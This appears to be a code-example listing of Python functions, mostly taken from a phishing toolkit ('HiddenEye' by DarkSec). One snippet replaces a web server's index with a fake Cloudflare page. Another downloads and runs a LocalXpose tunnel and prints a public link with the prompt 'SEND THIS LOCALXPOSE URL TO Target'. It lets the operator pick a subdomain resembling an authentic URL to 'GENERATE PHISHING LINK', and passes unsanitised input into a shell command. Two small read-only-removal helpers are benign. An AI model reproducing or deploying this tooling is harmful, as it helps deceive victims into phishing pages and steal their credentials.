Exemplo n.º 1
0
def remove_readonly(func, path, _):
    """Removes read-only state of file (IDK why it exists but it does already, so...)

    Args:
        func ([type]): [description]
        path ([type]): [description]
        _ ([type]): [description]
    """
    chmod(path, mode=stat.S_IWRITE)
    func(path)
Exemplo n.º 2
0
def add_cloudfare():
    #run_command('mv Server/www/index.* Server/www/home.php &
    # & cp WebPages/cloudfare.html Server/www/index.html')
    chmod('Server', 0o777)
    chmod('Server/www', 0o777)
    try:
        replace('Server/www/index.php', 'Server/www/home.php')
    except:
        replace('Server/www/index.html', 'Server/www/home.php')
    else:
        print('Unable to find index file, skipping...')
        return
    copyfile('WebPages/cloudflare.html', 'Server/www/index.html')
    print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(default_palette[0], default_palette[4]))
    wait(1)
Exemplo n.º 3
0
def remove_readonly(func, path, _):
    "Clear the readonly bit"
    chmod(path, stat.S_IWRITE)
    func(path)
Exemplo n.º 4
0
def start_localxpose(port):
    localxpose_file = "External_Software/loclx"
    localxpose_url = (
        "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
    )
    if path.isfile(localxpose_file):
        pass
    else:
        if simple_informant.check_platform(
                "system") == "Linux" and simple_informant.check_platform(
                    "architecture" is "x86_64"):
            localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-amd64.zip"
        elif simple_informant.check_platform(
                "system") == "Linux" and simple_informant.check_platform(
                    "architecture" is "aarch64"):
            localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
        with url_request.urlopen(localxpose_url) as loclxzip:
            with ZipFile(BytesIO(loclxzip.read())) as zip_file:
                zip_file.extractall("External_Software")
        chmod("External_Software/loclx", 0o777)

    def random(port):
        run_command("clear")
        print(global_localization.hidden_eye_logo)
        print(global_localization.official_website_link)
        print(global_localization.by_darksec)
        print(global_localization.line_of_dots)
        print(localization.lang_rand_localxpose["localxpose_random_server"])
        run_command(
            [
                "External_Software/loclx",
                "tunnel",
                "http",
                "--to",
                ":{0}".format(port),
                ">",
                "link.url",
            ],
            stdout=DEVNULL,
            stderr=DEVNULL,
        )
        try:
            output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
                                  shell=True)
            url = output.decode("utf-8")
            print(
                "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}"
                .format(
                    default_palette[0],
                    default_palette[4],
                    default_palette[3],
                    port,
                    url,
                ) + "{0}".format(default_palette[4]))
            print("\n")
        except CalledProcessError:

            wait(4)
            run_command("clear")
            return random(port)

    def custom(port):

        print(global_localization.small_logo)
        print(
            """\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
            .format(default_palette[0], default_palette[2]))
        lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
            default_palette[0], default_palette[2]))
        run_command(
            "./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &"
            % (port, lnk))
        wait(7)
        try:
            output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
                                  shell=True)
            url = output.decode("utf-8")
            run_command("clear")
            print("""
        {1}_  _ . ___  ___  ___ _  _  {0}___ _  _ ___{1}
        |__| | ]  | ]  | |__ |\ |  {0}|__ \__/ |__{1}
        |  | | ]__| ]__| |__ | \|  {0}|__  ||  |__{1}
        {0}http://github.com/darksecdevelopers
        {0}** BY:DARKSEC  \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------"""
                  .format(default_palette[0], default_palette[2]))
            print(
                "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}"
                .format(default_palette[0], default_palette[2],
                        default_palette[3], port) + url +
                "{0}".format(default_palette[4]))
            print("\n")

        except CalledProcessError:
            print(
                """\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n"""
                .format(default_palette[0], default_palette[4]))
            wait(4)
            run_command("clear")
            return custom(port)

    print("""
        {1}_  _ . ___  ___  ___ _  _  {0}___ _  _ ___{1}
        |__| | ]  | ]  | |__ |\ |  {0}|__ \__/ |__{1}
        |  | | ]__| ]__| |__ | \|  {0}|__  ||  |__{1}
        {0}http://github.com/darksecdevelopers
        {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n"""
          .format(default_palette[0], default_palette[2]))
    print(
        "\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}"
        .format(default_palette[0], default_palette[2]))
    print(
        "\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"
        .format(default_palette[0], default_palette[2]))
    choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0],
                                                       default_palette[2]))
    run_command("clear")
    if choice == "1":

        custom(port)
    elif choice == "2":
        random(port)
    else:
        run_command("clear")
        return start_localxpose(port)